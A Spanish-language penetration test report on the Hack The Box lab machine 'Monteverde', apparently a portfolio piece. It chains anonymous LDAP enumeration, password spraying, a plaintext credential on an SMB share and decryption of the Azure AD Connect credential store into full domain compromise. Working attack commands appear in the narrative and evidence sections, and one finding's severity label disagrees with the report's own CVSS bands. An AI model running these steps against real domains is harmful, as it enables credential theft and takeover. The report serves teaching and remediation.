INFORME DE TEST DE INTRUSIÓN

MONTEVERDE

Evaluación de Seguridad: Controlador de Dominio Active Directory y Azure AD Connect

Host objetivo	10.129.228.111 (MONTEVERDE.MEGABANK.LOCAL)
Sistema operativo	Windows Server 2016 Standard
Rol	Controlador de Dominio Active Directory (megabank.local); servidor de sincronización Azure AD Connect
Tipo de ejercicio	Test de intrusión interno (caja negra)
Auditor	Álvaro Irún Brea, Domain Security
Fecha del informe	10 de septiembre de 2026
Referencia	DS-PT-2026-002
Clasificación	CONFIDENCIAL

Aviso de Confidencialidad

Este documento contiene información confidencial sobre la postura de seguridad del entorno evaluado. Está destinado exclusivamente a la organización destinataria y al personal autorizado. Los hallazgos describen vulnerabilidades que podrían aprovecharse para comprometer el entorno, por lo que su distribución debe restringirse. Este informe es un ejercicio de laboratorio realizado contra la máquina retirada de Hack The Box "Monteverde", redactado como un informe profesional de test de intrusión para demostrar metodología, estándares de reporte y guía de remediación.

Índice

1. Resumen Ejecutivo

Se realizó un test de intrusión interno contra un Controlador de Dominio Windows Server 2016 (megabank.local) que además aloja una instalación de Azure AD Connect. El ejercicio simuló un atacante no autenticado con acceso a la red interna, sin credenciales ni conocimiento previo del entorno.

La evaluación resultó en el compromiso total del dominio. Partiendo de cero credenciales, el auditor recuperó la lista de usuarios mediante LDAP anónimo, obtuvo una cuenta de bajo privilegio mediante password spraying, pivotó a una segunda cuenta a través de una credencial dejada en un recurso compartido de red, y finalmente recuperó en texto plano la contraseña de la cuenta Administrator del dominio descifrando el almacén local de credenciales de Azure AD Connect, una base de datos que nunca debería haber sido accesible desde un contexto de usuario estándar en este equipo.

Cabe destacar que no fue necesario ningún exploit de software ni 0-day. El compromiso se logró encadenando debilidades de configuración y malas prácticas de gestión de credenciales, habituales en entornos híbridos reales de Active Directory / Azure AD: enumeración anónima del directorio, una política de contraseñas débil, una credencial en texto plano dejada en un recurso compartido, y una cuenta Administrator del dominio reutilizada como cuenta de sincronización de Azure AD Connect en un servidor donde esa base de datos era accesible localmente.

Valoración global del riesgo: CRÍTICO

Dado que un atacante sin credenciales de partida pudo alcanzar el control administrativo total del dominio, el riesgo global del entorno se valora como CRÍTICO. La presencia de Azure AD Connect en el Controlador de Dominio, combinada con la credencial de Administrator reutilizada, convierte una cadena de debilidades por lo demás moderadas en un compromiso total del dominio.

Hallazgos de un vistazo

ID	Hallazgo	Severidad	CVSS
F-01	Enumeración LDAP anónima de usuarios del dominio	MEDIO	5.3
F-02	Política de contraseñas débil que permite spraying usuario-como-contraseña	MEDIO	5.3
F-03	Credencial en texto plano expuesta en una carpeta personal de usuario	ALTO	6.5
F-04	Compromiso total del dominio vía el almacén local de credenciales de Azure AD Connect	CRÍTICO	9.8

2. Alcance y Metodología

2.1 Alcance

El ejercicio se limitó a un único host dentro del alcance, evaluado desde la perspectiva de un atacante situado en la red interna sin credenciales ni conocimiento previo del entorno (caja negra).

- **Dentro de alcance:** 10.129.228.111 (MONTEVERDE.MEGABANK.LOCAL)
- **Excluido:** pruebas de denegación de servicio, ingeniería social y ataques físicos quedaron fuera de alcance.
- **Reglas del ejercicio:** las pruebas se autorizaron únicamente contra este host; toda la actividad fue no destructiva.

2.2 Metodología

La evaluación siguió un ciclo de vida estándar de test de intrusión alineado con PTES (Penetration Testing Execution Standard) y el enfoque de enumeración primero propio de entornos Active Directory:

- **Reconocimiento y enumeración**: escaneo TCP completo, identificación de servicios/versiones y del rol del host en el dominio.
- **Enumeración no autenticada**: pruebas de acceso anónimo a LDAP, SMB y RPC antes de cualquier actividad con credenciales.
- **Acceso inicial**: password spraying contra la propia política de contraseñas del dominio, seguido de un pivote mediante una credencial filtrada.
- **Movimiento lateral**: enumeración de hosts y recursos compartidos tras el punto de apoyo para recuperar credenciales adicionales.
- **Escalada de privilegios**: comprobación y descarte de teorías de ACL/DCSync, y posterior abuso del almacén local de credenciales de Azure AD Connect para recuperar las credenciales de Administrator.
- **Reporte**: documentación de cada hallazgo con evidencias, impacto, puntuación CVSS y remediación.

2.3 Herramientas

Se emplearon las siguientes herramientas estándar del sector: Nmap (escaneo de puertos y detección de servicios), ldapsearch (enumeración LDAP anónima), NetExec (pruebas de autenticación, enumeración de recursos compartidos y password spraying), smbclient y evil-winrm (acceso SMB y WinRM), y un script de PowerShell a medida que reutiliza la propia librería mcrypt.dll de Azure AD Connect para descifrar su almacén local de credenciales.

3. Narrativa del Ataque

Esta sección recorre la cadena de ataque completa en el orden en que se ejecutó, mostrando cómo cuatro debilidades independientes se combinaron para escalar de cero acceso al compromiso total del dominio. Cada debilidad numerada se documenta en detalle en la Sección 4.

3.1 Reconocimiento

Un escaneo TCP completo identificó el host como Controlador de Dominio Active Directory del dominio megabank.local, exponiendo también ADWS (9389), característico de un host que además ejecuta Azure AD Connect u otra herramienta integrada con el directorio.

```
nmap -sC -sV -p- -oN nmap-monteverde.txt 10.129.228.111

88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
389/tcp  open  ldap          Microsoft Windows AD LDAP (Domain: MEGABANK.LOCAL)
445/tcp  open  microsoft-ds
3268/tcp open  ldap          (Global Catalog)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open  mc-nmf        .NET Message Framing (AD Web Services)
```

3.2 Enumeración no autenticada (F-01)

Antes de intentar cualquier acceso con credenciales, se comprobó un bind LDAP anónimo. El Controlador de Dominio lo aceptó, revelando la lista completa de cuentas de usuario del dominio y sus atributos.

```
ldapsearch -x -H ldap://10.129.228.111 -b "dc=megabank,dc=local" "(objectClass=user)" sAMAccountName
[+] 8 cuenta(s) de usuario enumeradas mediante bind anónimo
```

3.3 Acceso inicial: password spraying (F-02)

La política de contraseñas del dominio no imponía umbral de bloqueo de cuenta ni exigía complejidad, por lo que se probó con seguridad cada cuenta contra sí misma como contraseña candidata.

```
netexec smb 10.129.228.111 --pass-pol
  Lockout threshold: None   |   Password complexity: False

netexec smb 10.129.228.111 -u users.txt -p users.txt --no-bruteforce --continue-on-success
  [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
```

3.4 Movimiento lateral (F-03)

La cuenta comprometida solo se autenticaba por SMB, pero fue suficiente para enumerar recursos compartidos denegados de forma anónima, incluido un árbol de carpetas personales por usuario. Un archivo dentro de la carpeta de un usuario contenía una credencial en texto plano de una segunda cuenta, más útil.

```
netexec smb 10.129.228.111 -u SABatchJobs -p SABatchJobs --shares
  users$    READ

smbclient //10.129.228.111/users$ -U 'SABatchJobs%SABatchJobs'
  \mhope\azure.xml  ->  contraseña en texto plano recuperada

evil-winrm -i 10.129.228.111 -u mhope -p '<contraseña recuperada>'
```

3.5 Escalada de privilegios a Domain Administrator (F-04)

La enumeración tras el punto de apoyo mostró que la cuenta comprometida pertenecía a un grupo junto con la cuenta Administrator y una cuenta de servicio cuyo patrón de nombre coincidía con una cuenta de sincronización de Azure AD Connect. Se probaron y descartaron directamente tanto una teoría de abuso de ACL como una de DCSync. La descripción AD de la cuenta confirmó que Azure AD Connect está instalado en este mismo Controlador de Dominio, y su base de datos local de credenciales (ADSync) era accesible y descifrable, revelando que su propia cuenta conectora es el Administrator del dominio.

```
consulta a mms_server_configuration / mms_management_agent en la base de datos ADSync local
add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
KeyManager.LoadKeySet(...) -> DecryptBase64ToString(...)
  forest-login-user: administrator
  password: <texto plano recuperado>

evil-winrm -i 10.129.228.111 -u Administrator -p '<contraseña recuperada>'
  -> compromiso total del dominio confirmado
```

4. Hallazgos Detallados

F-01: Enumeración LDAP anónima de usuarios del dominio

Severity	**MEDIO** **(5.3)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Affected asset	Servicio LDAP en el Controlador de Dominio

Description

El Controlador de Dominio aceptó un bind LDAP anónimo, permitiendo a un atacante no autenticado enumerar la lista completa de cuentas de usuario del dominio junto con atributos como userPrincipalName y description. Esta información reduce significativamente la barrera para ataques posteriores como el password spraying, al aportar una lista de objetivos validada.

Evidence

```
ldapsearch -x -H ldap://10.129.228.111 -b "dc=megabank,dc=local" "(objectClass=user)" sAMAccountName
[+] 8 cuentas de usuario devueltas, sin credenciales aportadas
```

Impact

Divulgación de la lista completa de usuarios del dominio a cualquier atacante no autenticado en la red, habilitando password spraying dirigido y reconocimiento. Esto habilitó directamente el acceso inicial descrito en F-02.

Remediation

- Restringir el acceso mediante bind LDAP anónimo en todos los Controladores de Dominio.
- Revisar los descriptores de seguridad de la interfaz LDAP (dSHeuristics, firma/channel binding de LDAP) y auditar excepciones heredadas de acceso anónimo.
- Monitorizar intentos de enumeración anónima por LDAP/SMB/RPC.

References

- MITRE ATT&CK T1087: Account Discovery

F-02: Política de contraseñas débil que permite spraying usuario-como-contraseña

Severity	**MEDIO** **(5.3)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Affected asset	Política de contraseñas del dominio (megabank.local)

Description

La política de contraseñas del dominio no definía umbral de bloqueo de cuenta ni exigía complejidad. Combinado con al menos una cuenta cuya contraseña coincidía con su propio nombre de usuario, esto hizo que un password spray sobre todo el dominio fuera seguro (sin riesgo de bloqueo) y efectivo.

Evidence

```
netexec smb 10.129.228.111 --pass-pol
  Lockout threshold: None
  Password complexity: False

netexec smb 10.129.228.111 -u users.txt -p users.txt --no-bruteforce --continue-on-success
  [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
```

Impact

Los atacantes pueden probar o forzar credenciales a gran escala sin provocar bloqueos, y las contraseñas débiles de onboarding o cuentas de servicio se adivinan trivialmente. Esto proporcionó directamente el primer punto de apoyo autenticado usado durante el resto de la evaluación.

Remediation

- Configurar un umbral de bloqueo de cuenta (p. ej. 5–10 intentos fallidos) con una ventana y duración de observación adecuadas.
- Exigir complejidad de contraseña y una longitud mínima mayor (se recomiendan 12+ caracteres), y verificar contra listas de contraseñas filtradas conocidas.
- Asegurar que las cuentas de servicio y de onboarding nunca usen una contraseña igual o trivialmente derivada de su nombre de usuario.

References

- MITRE ATT&CK T1110.003: Password Spraying

F-03: Credencial en texto plano expuesta en una carpeta personal de usuario

Severity	**ALTO** **(6.5)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Affected asset	Recurso compartido users$ (SMB); carpeta personal de mhope

Description

Una vez autenticado con una cuenta de bajo privilegio, fue posible explorar el recurso compartido users$ y sus carpetas personales por usuario. La carpeta de un usuario contenía un objeto de credencial de PowerShell serializado (coherente con una exportación al estilo Export-Clixml usada para scripting relacionado con Azure AD), con la contraseña guardada en texto plano en lugar de depender de que los propios controles de acceso del sistema de archivos, o cualquier cifrado adicional, fueran suficientes.

Evidence

```
smbclient //10.129.228.111/users$ -U 'SABatchJobs%SABatchJobs'
  \mhope\azure.xml

<SS N="Password"><contraseña en claro></SS>
```

Impact

Cualquier atacante autenticado capaz de leer este recurso compartido recupera una segunda credencial, más privilegiada, habilitando movimiento lateral (ver F-04). Este es el pivote que convirtió una cuenta de poco valor en un punto de apoyo real.

Remediation

- Eliminar el archivo de credenciales de inmediato y rotar la contraseña expuesta.
- Auditar todas las carpetas personales de usuario y ubicaciones compartidas en busca de objetos de credencial exportados, scripts con secretos embebidos, u otros artefactos similares.
- No exportar nunca credenciales a disco en forma recuperable en texto plano; usar un almacén de secretos gestionado o cuentas administradas tipo gMSA para automatización.

References

- MITRE ATT&CK T1552.001: Unsecured Credentials: Credentials In Files

F-04: Compromiso total del dominio vía el almacén local de credenciales de Azure AD Connect

Severity	**CRÍTICO** **(9.8)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Affected asset	Instalación de Azure AD Connect (base de datos ADSync) en el Controlador de Dominio; cuenta Administrator del dominio

Description

Azure AD Connect estaba instalado directamente en el Controlador de Dominio en lugar de en un servidor dedicado. Su almacén local de credenciales (la base de datos ADSync, una instancia LocalDB de SQL Server) era accesible con seguridad integrada desde una sesión autenticada de bajo privilegio, y su librería de cifrado (mcrypt.dll) se distribuye en el mismo directorio de instalación, permitiendo descifrar localmente la contraseña de la cuenta conectora. Esa cuenta conectora resultó ser la propia cuenta Administrator del dominio.

Evidence

```
SELECT keyset_id, instance_id, entropy FROM mms_server_configuration
SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type='AD'
KeyManager.LoadKeySet(...).GetActiveCredentialKey(...).DecryptBase64ToString(...)
  forest-login-user: administrator
  password: <texto plano recuperado>
```

Impact

Compromiso completo e irreversible de todo el dominio de Active Directory: un atacante obtiene control total sobre todas las cuentas (incluidos los Domain Admins), todos los equipos unidos al dominio y todos los datos, y puede establecer persistencia extremadamente difícil de erradicar.

Remediation

- No instalar nunca Azure AD Connect en un Controlador de Dominio; desplegarlo en un servidor dedicado, endurecido y protegido como tier-0.
- No asignar nunca privilegios de Domain Administrator a la cuenta conectora de Azure AD Connect; conceder solo los permisos delegados mínimos necesarios para la sincronización del directorio.
- Restringir el acceso a la base de datos ADSync y a su directorio de instalación únicamente a la cuenta de servicio y a administradores dedicados.
- Rotar la contraseña de Administrator y revisar todos los eventos de autenticación recientes en busca de indicios de abuso.

References

- MITRE ATT&CK T1552: Unsecured Credentials
- MITRE ATT&CK T1078.002: Valid Accounts: Domain Accounts

5. Recomendaciones

Las siguientes acciones priorizadas romperían la cadena de ataque demostrada. Como cada eslabón de la cadena es independiente, remediar incluso un subconjunto reduce materialmente el riesgo; abordarlos todos elimina por completo el camino demostrado hacia el compromiso del dominio.

Inmediato (romper la cadena de ataque ahora)

- Rotar las credenciales expuestas, incluida la cuenta Administrator del dominio, y cualquier cuenta cuya contraseña coincidiera con su propio nombre de usuario.
- Eliminar el archivo de credenciales en texto plano del recurso compartido y auditar todas las carpetas personales de usuario en busca de secretos guardados de forma similar.
- Restablecer la contraseña de la cuenta conectora de Azure AD Connect y asegurarse de que sea una cuenta dedicada y de mínimo privilegio, nunca Domain Administrator.

Estratégico (endurecer el entorno)

- Deshabilitar el acceso LDAP anónimo y las sesiones nulas SMB/RPC en todos los Controladores de Dominio.
- Implementar una política de contraseñas robusta: umbral de bloqueo, complejidad, mínimo de 12+ caracteres, y verificación contra listas de contraseñas filtradas.
- Trasladar Azure AD Connect fuera de cualquier Controlador de Dominio, a un servidor dedicado, endurecido y protegido como tier-0.
- Establecer un modelo de administración por niveles (tier-0); tratar cualquier grupo que contenga cuentas de servicio o de sincronización como sensible y auditar periódicamente su membresía y permisos efectivos.
- Desplegar monitorización/alertado para la enumeración anónima del directorio, patrones de password spraying, y accesos a la base de datos ADSync fuera del propio servicio de sincronización.

Apéndice A: Puntuaciones y Descargo de responsabilidad

A.1 Puntuaciones de severidad

Los hallazgos se puntúan usando CVSS v3.1. Las bandas de severidad se interpretan así:

Severidad	CVSS	Interpretación
Crítico	9.0 – 10.0	Camino trivial al compromiso total; remediar de inmediato.
Alto	7.0 – 8.9	Riesgo significativo; remediar como prioridad.
Medio	4.0 – 6.9	Riesgo relevante, típicamente como parte de una cadena; programar remediación.
Bajo	0.1 – 3.9	Impacto limitado; remediar según recursos disponibles.

A.2 Descargo de responsabilidad

Este informe refleja la postura de seguridad del objetivo en el momento de la prueba y no garantiza que no existan otras vulnerabilidades. Documenta un ejercicio de laboratorio contra la máquina retirada de Hack The Box "Monteverde", elaborado como informe de test de intrusión de formato profesional con fines de portfolio y educativos. Todas las pruebas se autorizaron dentro de los términos de servicio de la plataforma Hack The Box.